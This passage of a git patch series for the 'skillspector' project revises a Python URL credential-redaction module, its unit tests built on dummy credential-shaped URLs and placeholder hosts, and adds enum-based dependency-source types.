test_scheme_relative_outer_references_reject_nested_credential_candidates( +def test_absolute_double_slash_path_redacts_sensitive_query_without_whole_masking( raw: str, + expected: str, ) -> None: api = _api() - redacted = api.redact_url(raw) + assert api.redact_url(raw) == expected + assert api.redact_text_result(raw) == api.TextRedactionResult( + value=expected, + complete=True, + candidates=1, + reason=None, + ) - assert redacted == api.REDACTED_URL - assert "secret" not in redacted + +@pytest.mark.parametrize( + "nested", + [ + "https://safe.invalid/a//user:nested-path-secret@evil.invalid/x", + "https://safe.invalid/path?next=x//user:nested-userinfo-secret@evil.invalid/x", + "https://safe.invalid/path?next=x//user:nested-encoded-secret%40evil.invalid/x", + "https://safe.invalid/path?next=x//evil.invalid/x?token=nested-query-secret", + ], +) +def test_absolute_url_query_rejects_ambiguous_interior_relative_shape( + nested: str, +) -> None: + api = _api() + + assert api.redact_url(nested) == api.REDACTED_URL + assert api.redact_text_result(nested) == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert api.redact_text(nested, max_candidates=0) == api.REDACTED_REMAINDER + sanitized = api.redact_text(nested) + assert "secret" not in sanitized + assert api.redact_text(sanitized) == sanitized + + +@pytest.mark.parametrize( + "value", + [ + "x//evil.invalid/path", + "src/a//b.py", + "x?next=a//b&channel=stable", + "x//host.invalid/path%20with%20space", + "src/a//b%2Fc.py", + ], +) +def test_interior_double_slash_without_a_boundary_is_not_a_reference(value: str) -> None: + api = _api() + + assert api.redact_url(value) == value + assert api.redact_text_result(value) == api.TextRedactionResult( + value=value, + complete=True, + candidates=0, + reason=None, + ) + + +@pytest.mark.parametrize( + "value", + [ + "x//user:interior-userinfo-secret@evil.invalid/path", + "x//evil.invalid/path#interior-fragment-secret", + "x//evil.invalid/path?token=interior-query-secret", + "x//user:interior-encoded-secret%40evil.invalid/path", + "x//user%3Ainterior-encoded-secret%40evil.invalid/path", + "x?next=a//evil.invalid/path&token=interior-query-secret", + "prefix?registry=x//host.invalid/path&authToken=interior-query-secret", + ], +) +def test_credential_shaped_interior_double_slash_values_fail_closed(value: str) -> None: + api = _api() + + assert api.redact_url(value) == api.REDACTED_URL + assert api.redact_text_result(value) == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert api.redact_text(value, max_candidates=0) == api.REDACTED_REMAINDER + sanitized = api.redact_text(value) + assert "secret" not in sanitized + assert api.redact_text(sanitized) == sanitized def test_cargo_sparse_url_preserves_safe_scheme_host_and_path() -> None: @@ -893,50 +1011,122 @@ def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> No [ ( "Use //user:relative-prose-secret@packages.example.invalid/private now.", - "Use //REDACTED@packages.example.invalid/private now.", + "Use [REDACTED_URL] now.", ), ( "Use (//user:relative-wrapper-secret@packages.example.invalid/private), now.", - "Use (//REDACTED@packages.example.invalid/private), now.", + "Use [REDACTED_URL], now.", + ), + ( + "Use (//packages.example.invalid/private), now.", + "Use (//packages.example.invalid/private), now.", ), ], ) -def test_embedded_scheme_relative_references_are_sanitized_with_simple_wrappers( +def test_free_text_scheme_relative_attempts_are_one_bounded_candidate( text: str, expected: str, ) -> None: api = _api() - redacted = api.redact_text(text) + result = api.redact_text_result(text, max_candidates=1) - assert redacted == expected - assert api.redact_text(redacted) == redacted - assert "secret" not in redacted + assert result == api.TextRedactionResult(expected, True, 1, None) + assert api.redact_text(text, max_candidates=0).endswith(api.REDACTED_REMAINDER) + assert "secret" not in result.value + + +def test_bare_scheme_relative_token_masks_the_remaining_ambiguous_context() -> None: + api = _api() + text = "prefix // user:whitespace-secret@packages.example.invalid" + + result = api.redact_text_result(text, max_candidates=1) + + assert result == api.TextRedactionResult("prefix [REDACTED_URL]", True, 1, None) + assert "secret" not in result.value + assert api.redact_text(text, max_candidates=0) == "prefix [REDACTED_REMAINDER]" @pytest.mark.parametrize( - ("text", "expected"), + "text", [ - ( - "Use //packages.example.invalid/private?token=relative-query-prose-secret now.", - "Use //packages.example.invalid/private?token=REDACTED now.", - ), - ( - "before\n//packages.example.invalid/private?token=relative-query-line-secret\nafter", - "before\n//packages.example.invalid/private?token=REDACTED\nafter", - ), + "// comment", + "// dev@example.invalid", + "// dev%40example.invalid", + "prefix // comment text", + "prefix // dev@example.invalid", ], ) -def test_embedded_query_only_scheme_relative_references_cross_whitespace_boundaries( +def test_bare_double_slash_comment_controls_are_preserved_exactly(text: str) -> None: + api = _api() + + assert api.redact_text_result(text) == api.TextRedactionResult( + value=text, + complete=True, + candidates=0, + reason=None, + ) + + +@pytest.mark.parametrize( + "text", + [ + "//: user:colon-prefix-secret@packages.example.invalid/path", + "// user:encoded-prefix-secret%40packages.example.invalid/path", + "// user%3Aencoded-prefix-secret%40packages.example.invalid/path", + "prefix // user:encoded-prefix-secret%40packages.example.invalid/path", + "// token=assignment-prefix-secret@packages.example.invalid", + "// token%3Dassignment-prefix-secret%40packages.example.invalid", + "// port-prefix-secret@packages.example.invalid:8443", + "prefix // bracket-prefix-secret@[2001:db8::1]", + "//: user:encoded-prefix-secret%40packages.example.invalid/path", + "prefix //? /x?token=query-prefix-secret", + "/// /x?token=slash-prefix-secret", + "//; user=semicolon-prefix-secret@packages.example.invalid/path", + ], +) +def test_incomplete_scheme_relative_attempt_masks_remaining_context(text: str) -> None: + api = _api() + prefix = "prefix " if text.startswith("prefix ") else "" + + assert api.redact_text_result(text, max_candidates=1) == api.TextRedactionResult( + value=f"{prefix}{api.REDACTED_URL}", + complete=True, + candidates=1, + reason=None, + ) + assert api.redact_text(text, max_candidates=0) == f"{prefix}{api.REDACTED_REMAINDER}" + assert "secret" not in api.redact_text(text) + + +@pytest.mark.parametrize("value", ["//:", "//?", "///", "//;"]) +def test_incomplete_scheme_relative_exact_values_fail_closed(value: str) -> None: + api = _api() + + assert api.redact_url(value) == api.REDACTED_URL + + +@pytest.mark.parametrize( + "text", + [ + "x=//packages.example.invalid/private", + 'href="//packages.example.invalid/private"', + "x//packages.example.invalid/private", + ], +) +def test_assignment_markup_and_interior_syntax_are_not_parsed_as_relative_references( text: str, - expected: str, ) -> None: api = _api() - redacted = api.redact_text(text) + result = api.redact_text_result(text) - assert redacted == expected - assert "secret" not in redacted + assert result == api.TextRedactionResult( + value=text, + complete=True, + candidates=0, + reason=None, + ) @pytest.mark.parametrize( @@ -944,19 +1134,21 @@ def test_embedded_query_only_scheme_relative_references_cross_whitespace_boundar [ "x=//user:relative-assignment-secret@packages.example.invalid/private", 'href="//user:relative-attribute-secret@packages.example.invalid/private"', - 'link', + "x//user:interior-token-secret@packages.example.invalid/private", + "x=//packages.example.invalid/private#relative-fragment-secret", + "href=//packages.example.invalid/private?token=relative-query-secret", ], ) -def test_ambiguous_scheme_relative_assignment_and_markup_tokens_are_masked( - text: str, -) -> None: +def test_ambiguous_assignment_markup_and_interior_tokens_fail_closed(text: str) -> None: api = _api() - redacted = api.redact_text(text) - - assert api.REDACTED_URL in redacted - assert "secret" not in redacted - assert api.redact_text(redacted) == redacted + assert api.redact_text_result(text) == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert "secret" not in api.redact_text(text) @pytest.mark.parametrize( @@ -1149,14 +1341,6 @@ def test_trailing_punctuation_is_detached_without_repeated_suffix_copying() -> N assert getattr(punctuation, "copied_characters", 0) <= len(value) * 2 -def test_scheme_relative_signal_discovery_does_not_rescan_dense_suffixes() -> None: - api = _api() - value = _FindSpanCountingString(",".join(["x=//user@host.invalid"] * 200)) - - assert api._scheme_relative_reference_signals(value) == 200 - assert value.requested_characters <= len(value) * 4 - - def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: api = _api() first_secret = "first-bound-secret" @@ -1206,16 +1390,13 @@ def test_scheme_relative_candidates_have_exact_budget_usage_without_double_charg zero = api.redact_text_result(text, max_candidates=0) assert exact == api.TextRedactionResult( - value=( - "//REDACTED@one.invalid/x https://REDACTED@two.invalid/y " - "//three.invalid/z?token=REDACTED" - ), + value=("[REDACTED_URL] https://REDACTED@two.invalid/y [REDACTED_URL]"), complete=True, candidates=3, reason=None, ) assert one_over == api.TextRedactionResult( - value=(f"//REDACTED@one.invalid/x https://REDACTED@two.invalid/y {api.REDACTED_REMAINDER}"), + value=(f"[REDACTED_URL] https://REDACTED@two.invalid/y {api.REDACTED_REMAINDER}"), complete=False, candidates=2, reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, @@ -1233,46 +1414,12 @@ def test_scheme_relative_ipv6_userinfo_is_one_candidate_not_an_scp_candidate() - text = "//user:relative-ipv6-budget-secret@[2001:db8::1]:8443/private" assert api.redact_text_result(text, max_candidates=1) == api.TextRedactionResult( - value="//REDACTED@[2001:db8::1]:8443/private", - complete=True, - candidates=1, - reason=None, - ) - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER - - -def test_interior_double_slash_prefix_does_not_double_charge_a_later_relative_ipv6() -> None: - api = _api() - text = "a//b,x=//user:relative-ipv6-prefix-secret@[2001:db8::1]:8443/private" - - result = api.redact_text_result(text, max_candidates=1) - - assert result == api.TextRedactionResult( value=api.REDACTED_URL, complete=True, candidates=1, reason=None, ) - assert "secret" not in result.value - - -def test_non_reference_double_slashes_remain_on_the_benign_fast_path( - monkeypatch: pytest.MonkeyPatch, -) -> None: - api = _api() - text = "Keep //path, src/a//b.py, and // comment text unchanged." - - def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: - pytest.fail("candidate scanner should not run without a hierarchical reference") - - monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) - - assert api.redact_text_result(text) == api.TextRedactionResult( - value=text, - complete=True, - candidates=0, - reason=None, - ) + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER def test_large_interior_double_slash_text_stays_bounded_and_off_the_candidate_scanner( @@ -1284,11 +1431,7 @@ def test_large_interior_double_slash_text_stays_bounded_and_off_the_candidate_sc def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: pytest.fail("candidate scanner should not run for interior double slashes") - def unexpected_relative_scan(*_args: Any, **_kwargs: Any) -> Any: - pytest.fail("Python relative-reference scan should not run for interior double slashes") - monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) - monkeypatch.setattr(api, "_scan_scheme_relative_references", unexpected_relative_scan) started = perf_counter() result = api.redact_text_result(text) elapsed = perf_counter() - started From 7ad74101b63a26049d66ab8eb12d9d541c600b42 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 21:18:55 -0700 Subject: [PATCH 12/30] feat(sc10): add dependency source contracts Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 91 +- src/skillspector/url_redaction.py | 764 +++----- tests/unit/test_dependency_source_types.py | 172 +- tests/unit/test_url_redaction.py | 1776 ++----------------- 4 files changed, 491 insertions(+), 2312 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 4c2628e6..20e93e5f 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -36,6 +36,54 @@ class DestinationStatus(StrEnum): UNRESOLVED = "unresolved" +class DependencyEcosystem(StrEnum): + """Code-owned dependency ecosystems implemented by source parsers.""" + + NPM = "npm" + PIP = "pip" + CARGO = "cargo" + MAVEN = "maven" + GRADLE = "gradle" + NUGET = "nuget" + RUBYGEMS = "rubygems" + GO = "go" + GENERIC = "generic" + + +class DependencySourceSurface(StrEnum): + """Coarse code-owned surface where a dependency source was declared.""" + + SOURCE = "source" + REPOSITORY = "repository" + MIRROR = "mirror" + COMMAND = "command" + INVOCATION = "invocation" + ENVIRONMENT = "environment" + GENERATED_CONFIG = "generated-config" + + +class DependencySourceOperation(StrEnum): + """Code-owned semantic operation represented by a source change.""" + + ADD = "add" + REPLACE = "replace" + REMOVE = "remove" + SET = "set" + USE = "use" + + +class DependencySourceScope(StrEnum): + """Coarse code-owned scope category, never a raw package or section name.""" + + GLOBAL = "global" + SCOPED = "scoped" + PROJECT = "project" + COMMAND = "command" + INVOCATION = "invocation" + ENVIRONMENT = "environment" + GENERATED_CONFIG = "generated-config" + + class DependencySourceLimitationReason(StrEnum): """Safe local reason codes mapped to ledger reasons only at integration time.""" @@ -87,16 +135,6 @@ def _normalize_relative_posix_path(path: object) -> str: return normalized -def _require_nonempty_semantic(value: object, name: str) -> str: - if not isinstance(value, str) or not value.strip() or len(value) > 256: - raise ValueError(f"{name} must be a bounded non-empty semantic value") - if any(ord(character) < 32 or ord(character) == 127 for character in value): - raise ValueError(f"{name} must not contain control characters") - if redact_text(value) != value: - raise ValueError(f"{name} must not contain credential-bearing text") - return value - - @dataclass(frozen=True, slots=True) class SourceSpan: """A source range using canonical UTF-8 byte and one-based line coordinates.""" @@ -123,17 +161,26 @@ def __post_init__(self) -> None: class SourceChange: """One sanitized, command-independent dependency-source semantic change.""" - ecosystem: str - surface: str - operation: str - scope: str + ecosystem: DependencyEcosystem + surface: DependencySourceSurface + operation: DependencySourceOperation + scope: DependencySourceScope destination: str destination_status: DestinationStatus span: SourceSpan def __post_init__(self) -> None: - for name in ("ecosystem", "surface", "operation", "scope"): - _require_nonempty_semantic(getattr(self, name), name) + for name, enum_type in ( + ("ecosystem", DependencyEcosystem), + ("surface", DependencySourceSurface), + ("operation", DependencySourceOperation), + ("scope", DependencySourceScope), + ): + try: + normalized = enum_type(getattr(self, name)) + except (TypeError, ValueError): + raise ValueError(f"{name} is not a code-owned semantic") from None + object.__setattr__(self, name, normalized) try: status = DestinationStatus(self.destination_status) except (TypeError, ValueError): @@ -258,10 +305,10 @@ def __post_init__(self) -> None: def finding_from_source_change(change: SourceChange) -> Finding: """Convert one sanitized semantic change at the sole public finding boundary.""" evidence: dict[str, object] = { - "ecosystem": change.ecosystem, - "surface": change.surface, - "operation": change.operation, - "scope": change.scope, + "ecosystem": change.ecosystem.value, + "surface": change.surface.value, + "operation": change.operation.value, + "scope": change.scope.value, "destination": change.destination, "destination_status": change.destination_status.value, } @@ -274,9 +321,9 @@ def finding_from_source_change(change: SourceChange) -> Finding: start_line=change.span.start_line, end_line=change.span.end_line, category="supply-chain", - finding=f"{change.operation} source: {change.destination}", + finding=f"{change.operation.value} source: {change.destination}", remediation="Review the configured dependency source before installing dependencies.", - tags=["dependency-source", change.ecosystem], + tags=["dependency-source", change.ecosystem.value], matched_text=change.destination, evidence=evidence, ) diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index f9772a21..7d856a0b 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Bounded, local-only credential redaction for dependency-source evidence.""" +"""Small, bounded credential-redaction boundary for dependency-source evidence.""" from __future__ import annotations @@ -9,60 +9,26 @@ from collections.abc import Mapping from dataclasses import dataclass, field from enum import StrEnum -from io import StringIO from ipaddress import IPv6Address from typing import Final -from urllib.parse import SplitResult, unquote_plus, urlsplit +from urllib.parse import SplitResult, urlsplit REDACTED_URL: Final = "[REDACTED_URL]" REDACTED_REMAINDER: Final = "[REDACTED_REMAINDER]" REDACTED_VALUE: Final = "[REDACTED_VALUE]" +REDACTED_PATH: Final = "REDACTED_PATH" -# Match the repository's bounded visible-artifact ceiling so provider-bound -# content is not silently shortened before the caller can account for it. MAX_REDACTION_CHARACTERS: Final = 16 * 1024 * 1024 MAX_REDACTION_CANDIDATES: Final = 1_024 MAX_REDACTION_DEPTH: Final = 16 MAX_REDACTION_NODES: Final = 10_000 -_CREDENTIAL_WORDS: Final = frozenset( - { - "auth", - "authentication", - "authorization", - "credential", - "credentials", - "key", - "keys", - "pass", - "password", - "passwd", - "passphrase", - "secret", - "secrets", - "sig", - "signature", - "signatures", - "token", - "tokens", - } -) -_MAX_RAW_QUERY_KEY_CHARACTERS: Final = 3 * 256 -_MAX_DECODED_QUERY_KEY_CHARACTERS: Final = 256 _CONTROL_CHARACTER = re.compile(r"[\x00-\x1f\x7f]") -_UNSAFE_URI_CHARACTER = re.compile(r'[<>"`]') -_BAD_PERCENT_ESCAPE = re.compile(r"%(?![0-9A-Fa-f]{2})") -_PERCENT_ESCAPE = re.compile(r"%[0-9A-Fa-f]{2}") -_ENCODED_UNSAFE_AUTHORITY_CHARACTER = re.compile( - r"%(?:0[0-9A-Fa-f]|1[0-9A-Fa-f]|20|23|2[fF]|3[aAfF]|40|5[bBcCdD]|7[fF])" -) -_ENCODED_AT_SIGN = re.compile(r"%40", re.IGNORECASE) _SCHEME = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*$") -_SCP_URL = re.compile( - r"^(?P[^@/:\\\s]+)@" - r"(?P\[[^\]\s]+\]|[^@/:\\\s]+):" - r"(?P.+)$" -) +_HIERARCHICAL_MARKER = re.compile(r"[A-Za-z][A-Za-z0-9+.-]*://") +_SAFE_PATH = re.compile(r"^/[A-Za-z0-9._~!$&'()*+,;=:@/-]*$") +_SAFE_SCP_PATH = re.compile(r"^[A-Za-z0-9._~!$&'()*+,;=:@/-]+$") +_SCP_URL = re.compile(r"^(?P[^@\s]+)@(?P\[[^\]\s]+\]|[^@/:\\\s]+):(?P.+)$") _PROSE_OPENERS: Final = frozenset("([{<\"'`") _PAIRED_CLOSERS: Final = { ")": "(", @@ -74,110 +40,25 @@ "`": "`", } _SENTENCE_PUNCTUATION: Final = frozenset(".,") -_SCHEME_RELATIVE_TOKEN_START = re.compile(r"(?:^|\s)[\(\[\{<\"'`]?//") +_SCHEME_RELATIVE_TOKEN = re.compile(r"(?:^|\s)[\(\[\{<\"'`]?//") def _valid_bound(value: object) -> bool: return type(value) is int and value >= 0 -def _has_ambiguous_percent_escape(value: str) -> bool: - return _BAD_PERCENT_ESCAPE.search(value) is not None - - -def _query_key_is_sensitive(raw_key: str) -> bool: - if len(raw_key) > _MAX_RAW_QUERY_KEY_CHARACTERS: - raise ValueError("query key exceeds its bound") - try: - decoded = unquote_plus(raw_key, encoding="utf-8", errors="strict") - except (UnicodeDecodeError, ValueError): - raise ValueError("query key is ambiguous") from None - if ( - len(decoded) > _MAX_DECODED_QUERY_KEY_CHARACTERS - or _CONTROL_CHARACTER.search(decoded) - or _PERCENT_ESCAPE.search(decoded) - ): - raise ValueError("query key is ambiguous") - folded = decoded.casefold() - return any(term in folded for term in _CREDENTIAL_WORDS) - - -def _query_has_sensitive_key(raw_query: str) -> bool: - cursor = 0 - for delimiter in re.finditer(r"[&;]", raw_query): - raw_key, separator, _ = raw_query[cursor : delimiter.start()].partition("=") - try: - if separator and _query_key_is_sensitive(raw_key): - return True - except ValueError: - return True - cursor = delimiter.end() - raw_key, separator, _ = raw_query[cursor:].partition("=") - try: - return bool(separator and _query_key_is_sensitive(raw_key)) - except ValueError: - return True - - -def _query_has_nested_reference(raw_query: str) -> bool: - cursor = 0 - for delimiter in re.finditer(r"[&;]", raw_query): - raw_part = raw_query[cursor : delimiter.start()] - raw_key, separator, raw_value = raw_part.partition("=") - candidate = raw_value if separator else raw_key - if candidate.startswith("//") or _has_ambiguous_interior_double_slash(candidate): - return True - cursor = delimiter.end() - raw_key, separator, raw_value = raw_query[cursor:].partition("=") - candidate = raw_value if separator else raw_key - return candidate.startswith("//") or _has_ambiguous_interior_double_slash(candidate) - - -def _double_slash_tail_has_credential_shape( - value: str, - marker: int, - raw_query: str, -) -> bool: - suffix = value[marker + 2 :] - return bool( - "@" in suffix - or "#" in suffix - or _ENCODED_AT_SIGN.search(suffix) - or (raw_query and _query_has_sensitive_key(raw_query)) - ) - - -def _has_ambiguous_interior_double_slash(value: str) -> bool: - marker = value.find("//") - if marker <= 0 or "://" in value: +def _valid_dns_host(host: str) -> bool: + if not host or len(host) > 253 or not host.isascii(): return False - _, separator, raw_query = value.partition("?") - return _double_slash_tail_has_credential_shape( - value, - marker, - raw_query if separator else "", - ) - - -def _redact_query(raw_query: str) -> str: - if not raw_query: - return raw_query - output = StringIO() - cursor = 0 - for delimiter in re.finditer(r"[&;]", raw_query): - raw_part = raw_query[cursor : delimiter.start()] - raw_key, separator, _raw_value = raw_part.partition("=") - if separator and _query_key_is_sensitive(raw_key): - raw_part = f"{raw_key}=REDACTED" - output.write(raw_part) - output.write(delimiter.group()) - cursor = delimiter.end() - raw_part = raw_query[cursor:] - raw_key, separator, _raw_value = raw_part.partition("=") - output.write( - f"{raw_key}=REDACTED" if separator and _query_key_is_sensitive(raw_key) else raw_part + labels = host.split(".") + return all( + label + and len(label) <= 63 + and label[0].isalnum() + and label[-1].isalnum() + and all(character.isalnum() or character == "-" for character in label) + for label in labels ) - return output.getvalue() def _valid_bracketed_ipv6(host: str) -> bool: @@ -190,251 +71,183 @@ def _valid_bracketed_ipv6(host: str) -> bool: return True -def _valid_host_port(host_port: str) -> bool: - if not host_port or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(host_port): - return False - if host_port.startswith("["): - close = host_port.find("]") - if close < 0 or host_port.find("]", close + 1) >= 0: - return False - if not _valid_bracketed_ipv6(host_port[: close + 1]): - return False - suffix = host_port[close + 1 :] - if not suffix: - return True - return suffix.startswith(":") and len(suffix) > 1 and suffix[1:].isdigit() - if "[" in host_port or "]" in host_port or host_port.count(":") > 1: - return False - host, separator, port = host_port.partition(":") - if not host: - return False - return not separator or bool(port and port.isdigit()) - - -def _validated_safe_authority(parsed: SplitResult, authority: str) -> str | None: +def _safe_authority(parsed: SplitResult) -> str | None: + authority = parsed.netloc if ( not authority - or authority.count("@") > 1 + or not authority.isascii() or "\\" in authority or _CONTROL_CHARACTER.search(authority) or any(character.isspace() for character in authority) - or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(authority) + or authority.count("@") > 1 ): return None - host_port = authority.rsplit("@", 1)[-1] - if not _valid_host_port(host_port): - return None + + if "@" in authority: + userinfo, host_port = authority.rsplit("@", 1) + if not userinfo: + return None + else: + host_port = authority + try: hostname = parsed.hostname - _ = parsed.port + port = parsed.port except (UnicodeError, ValueError): return None - if not hostname: + if hostname is None: return None - return f"REDACTED@{host_port}" if "@" in authority else host_port - -def _redact_standard_url(value: str) -> str: - try: - parsed = urlsplit(value) - except (UnicodeError, ValueError): - return REDACTED_URL - if not _SCHEME.fullmatch(parsed.scheme) or not parsed.netloc: - return REDACTED_URL - if _query_has_nested_reference(parsed.query): - return REDACTED_URL - interior_marker = parsed.path.find("//") - if interior_marker >= 0: - if parsed.fragment or _double_slash_tail_has_credential_shape( - parsed.path, - interior_marker, - "", - ): - return REDACTED_URL - safe_authority = _validated_safe_authority(parsed, parsed.netloc) - if safe_authority is None: - return REDACTED_URL - safe_query = _redact_query(parsed.query) - without_fragment = value.split("#", 1)[0] - had_query_delimiter = "?" in without_fragment - suffix = f"?{safe_query}" if had_query_delimiter else "" - return f"{parsed.scheme}://{safe_authority}{parsed.path}{suffix}" + if host_port.startswith("["): + close = host_port.find("]") + if close < 0 or not _valid_bracketed_ipv6(host_port[: close + 1]): + return None + suffix = host_port[close + 1 :] + if suffix and (not suffix.startswith(":") or not suffix[1:].isdigit()): + return None + else: + if host_port.count(":") > 1: + return None + raw_host, separator, raw_port = host_port.partition(":") + if not _valid_dns_host(raw_host): + return None + if separator and not raw_port.isdigit(): + return None + if port is not None and not 0 <= port <= 65_535: + return None + return host_port -def _validated_scheme_relative_reference( - value: str, -) -> tuple[SplitResult, str] | None: - if ( - len(value) <= 2 - or _CONTROL_CHARACTER.search(value) - or any(character.isspace() for character in value) - or _UNSAFE_URI_CHARACTER.search(value) - or _has_ambiguous_percent_escape(value) - ): - return None - try: - parsed = urlsplit(value) - except (UnicodeError, ValueError): - return None - if parsed.scheme or not parsed.netloc or "#" in value: - return None - safe_authority = _validated_safe_authority(parsed, parsed.netloc) - if safe_authority is None or not any( - character.isalnum() for character in (parsed.hostname or "") - ): +def _safe_path(path: str) -> str | None: + if not path: + return "" + if path == "/": + return "/" + if not _SAFE_PATH.fullmatch(path) or "//" in path: return None - return parsed, safe_authority + return f"/{REDACTED_PATH}" -def _redact_scheme_relative_reference(value: str) -> str: - validated = _validated_scheme_relative_reference(value) - if validated is None: - return REDACTED_URL - parsed, safe_authority = validated - if safe_authority != parsed.netloc: - return REDACTED_URL - if ( - _query_has_sensitive_key(parsed.query) - or _query_has_nested_reference(parsed.query) - or "://" in parsed.path - or "://" in parsed.query - or "//" in parsed.path - or _looks_like_scp_git(parsed.path) - or _looks_like_scp_git(parsed.query) - ): - return REDACTED_URL - return value +def _marker_count(value: str) -> int: + if value == "//": + return 0 + hierarchical = list(_HIERARCHICAL_MARKER.finditer(value)) + count = len(hierarchical) + if value.startswith("//"): + count += 1 + if _has_encoded_url_marker(value): + count += 1 + if hierarchical or value.startswith("//"): + raw_slashes = value.count("//") + structural_slashes = len(hierarchical) + (1 if value.startswith("//") else 0) + count += max(0, raw_slashes - structural_slashes) + if _has_nested_scp_marker(value, hierarchical[0].end() if hierarchical else 2): + count += 1 + elif _looks_like_scp_git(value): + count += max(1, value.count("@")) + return count -def _valid_scp_host(host: str) -> bool: - if ( - not host - or "\\" in host - or _CONTROL_CHARACTER.search(host) - or any(character.isspace() for character in host) - or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(host) - ): - return False - if host.startswith("[") or host.endswith("]"): - return _valid_bracketed_ipv6(host) - return "[" not in host and "]" not in host and ":" not in host +def _has_encoded_url_marker(value: str) -> bool: + return "%" in value and "%2f%2f" in value.casefold() -def _redact_scp_url(value: str) -> str: - without_fragment = value.split("#", 1)[0] - match = _SCP_URL.fullmatch(without_fragment) - if ( - match is None - or without_fragment.count("@") != 1 - or not _valid_scp_host(match.group("host")) - ): - return REDACTED_URL - raw_path, query_separator, raw_query = match.group("path").partition("?") - if not raw_path: - return REDACTED_URL - safe_query = _redact_query(raw_query) if query_separator else "" - suffix = f"?{safe_query}" if query_separator else "" - return f"REDACTED@{match.group('host')}:{raw_path}{suffix}" +def _has_nested_scp_marker(value: str, authority_start: int) -> bool: + boundary = len(value) + for delimiter in "/?#": + position = value.find(delimiter, authority_start) + if position >= 0: + boundary = min(boundary, position) + suffix = value[boundary:] + at_sign = suffix.find("@") + if at_sign < 0: + return False + colon = suffix.find(":", at_sign + 1) + if colon < 0: + return False + path = suffix[colon + 1 :].split("?", 1)[0].split("#", 1)[0] + return "/" in path or ".git" in path.casefold() -def _scp_discovery_path(candidate: str) -> str | None: - at_sign = candidate.find("@") - if at_sign < 0 or at_sign + 1 >= len(candidate): - return None - host_start = at_sign + 1 - if candidate[host_start] == "[": - close = candidate.find("]", host_start + 1) - if close < 0 or close + 1 >= len(candidate) or candidate[close + 1] != ":": - return None - separator = close + 1 + +def _redact_hierarchical(value: str, *, scheme_relative: bool) -> str: + try: + parsed = urlsplit(value) + except (UnicodeError, ValueError): + return REDACTED_URL + if scheme_relative: + if parsed.scheme: + return REDACTED_URL + prefix = "//" else: - separator = candidate.find(":", host_start) - if separator < 0: - return None - return candidate[separator + 1 :].split("?", 1)[0] + if not _SCHEME.fullmatch(parsed.scheme): + return REDACTED_URL + prefix = f"{parsed.scheme}://" + authority = _safe_authority(parsed) + path = _safe_path(parsed.path) + if authority is None or path is None: + return REDACTED_URL + return f"{prefix}{authority}{path}" def _looks_like_scp_git(value: str) -> bool: - candidates = (value.split("#", 1)[0], value.replace("#", "")) - for candidate in candidates: - path = _scp_discovery_path(candidate) - if path is None: - continue - if "/" in path or ".git" in path.casefold(): - return True - return False - - -def _hierarchical_suffix_after_authority(value: str) -> str: - marker = value.find("://") - if marker < 0: - return "" - suffix_start = len(value) - for delimiter in "/?#": - position = value.find(delimiter, marker + 3) - if position >= 0: - suffix_start = min(suffix_start, position) - return value[suffix_start:] + base = re.split(r"[?#]", value, maxsplit=1)[0] + match = _SCP_URL.fullmatch(base) + if match is None: + return False + path = match.group("path") + return "/" in path or ".git" in path.casefold() -def _detach_trailing_prose_punctuation( - value: str, - opener: str | None, -) -> tuple[str, str]: - split_at = len(value) - while split_at > 0 and value[split_at - 1] in _SENTENCE_PUNCTUATION: - split_at -= 1 - if split_at > 0 and opener is not None: - closer = value[split_at - 1] - if _PAIRED_CLOSERS.get(closer) == opener: - split_at -= 1 - return value[:split_at], value[split_at:] +def _redact_scp(value: str) -> str: + base = re.split(r"[?#]", value, maxsplit=1)[0] + match = _SCP_URL.fullmatch(base) + if match is None or value.count("@") != 1: + return REDACTED_URL + host = match.group("host") + if not (_valid_bracketed_ipv6(host) if host.startswith("[") else _valid_dns_host(host)): + return REDACTED_URL + path = match.group("path") + if not _SAFE_SCP_PATH.fullmatch(path) or "//" in path: + return REDACTED_URL + return f"REDACTED@{host}:{REDACTED_PATH}" def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> str: - """Return one URL-like value with credentials removed, or a fixed placeholder.""" + """Sanitize one exact URL candidate or fail closed with a fixed placeholder.""" if not isinstance(value, str) or not _valid_bound(max_characters): return REDACTED_URL if len(value) > max_characters: return REDACTED_URL - if value.startswith("//"): - try: - return _redact_scheme_relative_reference(value) - except Exception: - return REDACTED_URL - if _has_ambiguous_interior_double_slash(value): + + try: + markers = _marker_count(value) + except Exception: return REDACTED_URL - is_hierarchical_uri = "://" in value - suspicious = is_hierarchical_uri or _looks_like_scp_git(value) - if not suspicious: + if markers == 0: return value - if is_hierarchical_uri: - first_marker = value.find("://") - if value.find("://", first_marker + 3) >= 0 or _looks_like_scp_git( - _hierarchical_suffix_after_authority(value) - ): - return REDACTED_URL - elif "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]): - return REDACTED_URL if ( - _CONTROL_CHARACTER.search(value) - or 